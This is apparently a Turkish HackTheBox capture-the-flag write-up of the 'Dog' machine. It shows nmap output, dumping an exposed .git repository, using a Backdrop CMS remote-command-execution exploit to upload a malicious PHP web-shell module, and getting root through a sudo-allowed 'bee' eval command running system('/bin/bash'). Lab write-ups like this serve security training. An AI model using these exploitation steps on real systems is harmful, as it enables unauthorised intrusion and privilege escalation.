HackTheBox | Dog WriteUp
Özet
Dog, Backdrop CMS adında bir içerik yönetim sistemi kullanan kolay seviye bir linux makinedir. Nmap taraması sonucunda .git/ dizinini keşfedecek ve repoyu indireceğiz. Bu repo üzerinden içerik yönetim sistemindeki kullanıcılardan birinin parolasını ve kullanıcı adını öğreneceğiz. Daha sonra ise içerik yönetim sistemi üzerinden sisteme shell dosyamızı yükleyecek ve bir reverse shell bağlantısı alacağız. Sistemdeki kullanıcılardan birinin aynı parolayı kullanması nedeniyle o kullanıcıya geçiş yapacağız. Daha sonra ise root haklarıyla bir dosyayı çalıştırabileceğimizi fark edecek ve o dosya üzerinden yetki yükselteceğiz.
Keşif aşaması
Nmap taraması
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sVC -T4 10.10.11.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80 numaralı portun incelenmesi
Nmap taramasının sonucunda, 80 numaralı HTTP servisinin üzerinde bir Git
reposu olduğunu ve kullanılan web uygulamasının Backdrop CMS
olduğunu öğrendik.
Git reposunun incelenmesi
Git
reposunu git-dumper
aracının yardımıyla indirelim.
1
2
3
4
5
6
7
8
$ python3 git-dumper.py http://10.10.11.58/.git/ dog
...
[-] Fetching http://10.10.11.58/.git/objects/ff/d522e1da8660cb25dce831f19efa284753b691 [200]
[-] Fetching http://10.10.11.58/.git/objects/ff/c8b7a2f5179db2788971de0e8a265032d6ddab [200]
[-] Fetching http://10.10.11.58/.git/objects/ff/f99b60388f8dabaa3ccb41a86ac100b29a75fa [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 2873 paths from the index
Dosyaları incelerken settings.php dosyasının içerisinde mysql bilgilerini buluyoruz. Ancak mysql servisine dışarıdan bağlanamayacağımız için elde ettiğimiz parolayı başka bir yerde kullanmamız gerekebilir.
1
2
$database = 'mysql://root:[GİZLi]@127.0.0.1/backdrop';
$database_prefix = '';
Web uygulamasında root
isminde bir kullanıcı bulunmadığından giriş yapamadım. Sitede bir kaç gönderi paylaşıldığını görmüştüm, dolayısıyla gönderileri paylaşan kullanıcıların adlarını da denedim ama nafile. Hakkında sayfasındaki support@dog.htb
mailinden yola çıkarak Git
reposu üzerinden kullanıcı adları bulmaya çalıştığımızda iki adet mail adresi görüyoruz. Bu maillerden biri aradığımız kullanıcının ta kendisidir.
1
2
3
$grep -r "@dog.htb"
...
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "[GİZLi]@dog.htb"
Sömürü aşaması
Elde ettiğimiz kullanıcı bilgileri ile sisteme giriş yapalım. Daha sonra reverse shell
kodlarımızı yükleyebilmek için sayfaları kontrol edelim. Temaların bulunduğu kısımda sadece içerikleri düzenleyebileceğimiz bir sayfa var. Modüller sayfasına ise keyfimize göre modül yükleyemiyoruz.
Zararlı modülün oluşturulması ve yüklenmesi
Bu hazır içerik yönetim sistemine nasıl php shell yükleyebileceğimi öğrenmek için internette arama yaptım ve bu sayfa ile karşılaştım. Programı çalıştırdıktan sonra bize bir .zip
dosyası veriyor ve dosyayı verdiği dizin üzerinden siteye yüklememizi istiyor.
1
2
3
4
5
6
$ python3 52021 http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php
Oluşturduğu .zip
dosyasını .tar.gz
formatına çevirdikten sonra bahsettiği http://10.10.11.58/?p=admin/modules/install adresine gidiyor ve manuel install
linkini seçiyoruz. Sonrada sıkıştırdığımız dosyayı yüklüyoruz.
Dosya yüklendikten sonra programda belirtilen adrese gidiyor ve buradaki web shell üzerinden ncat ile bir bağlantı alıyoruz.
Yetki yükseltme
johncusack
Sisteme girdikten sonra bayrağı alabilmek için /home dizine yöneldim. Burada iki kullanıcı dizini bulunuyor. jobert
dizininin içerisinde herhangi bir bilgi yok. johncusack
kullanıcısının dizinini ise görüntüleyemiyoruz. Ancak johncusack
kullanıcısının parolası web siteye girmek için kullandığımız parola ile eşleşiyor.
1
2
3
www-data@dog:/home$ su johncusack
Password:
johncusack@dog:/home$
root
Sudo yetkilerimizi kontrol ettiğimizde bee
isimli bir dosyayı herhangi bir kullanıcı adına çalıştırabileceğimizi görüyoruz.
1
2
3
4
5
6
7
8
9
johncusack@dog:~$ ls
user.txt
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Dosyayı çalıştırdığımızda kullanılabilir tüm parametreler görüntüleniyor. Tabi ihtiyacımız olan şey, root kullanıcısı adına komut çalıştırmak olduğundan ilk olarak gözümüze eval
parametresi takılıyor.
1
2
3
4
5
6
johncusack@dog:~$ sudo /usr/local/bin/bee
...
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
...
Bu dosya php ile yazılmış, dolayısıyla php dilinde komut çalıştırabileceğimiz bir kod girmemiz gerekiyor, ancak nedenini anlamadığım bir şekilde aşağıdaki hata ile karşılaşıyorum.
1
2
3
johncusack@dog:~$ sudo /usr/local/bin/bee ev "system('/bin/bash');"
✘ The required bootstrap level for 'eval' is not ready.
Dosyayı biraz inceledikten sorna Backdrop CMS’i yönetmek için kullanılan bir dosya olduğunu öğrendim. Diğer komutlarıda kullandıktan sonra da Backdrop
içerik yönetim sisteminin adresini bulamadığını fark ettim.
1
2
3
4
5
6
7
johncusack@dog:~$ sudo /usr/local/bin/bee sqlc
PHP Fatal error: Uncaught Error: Class 'Database' not found in /backdrop_tool/bee/commands/db.bee.inc:279
Stack trace:
#0 /backdrop_tool/bee/includes/command.inc(99): sql_bee_callback()
#1 /backdrop_tool/bee/bee.php(30): bee_process_command()
#2 {main}
thrown in /backdrop_tool/bee/commands/db.bee.inc on line 279
Komutları tekrar gözden geçirdikten sonra --root
parametresi ile CMS’in adresini belirtebileceğimizi görüyoruz. Daha sonra ise parametreyi komuta dahil ediyor ve çalıştırıyoruz.
1
2
3
johncusack@dog:~$ sudo /usr/local/bin/bee ev "system('/bin/bash');" --root=/var/www/html/
root@dog:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)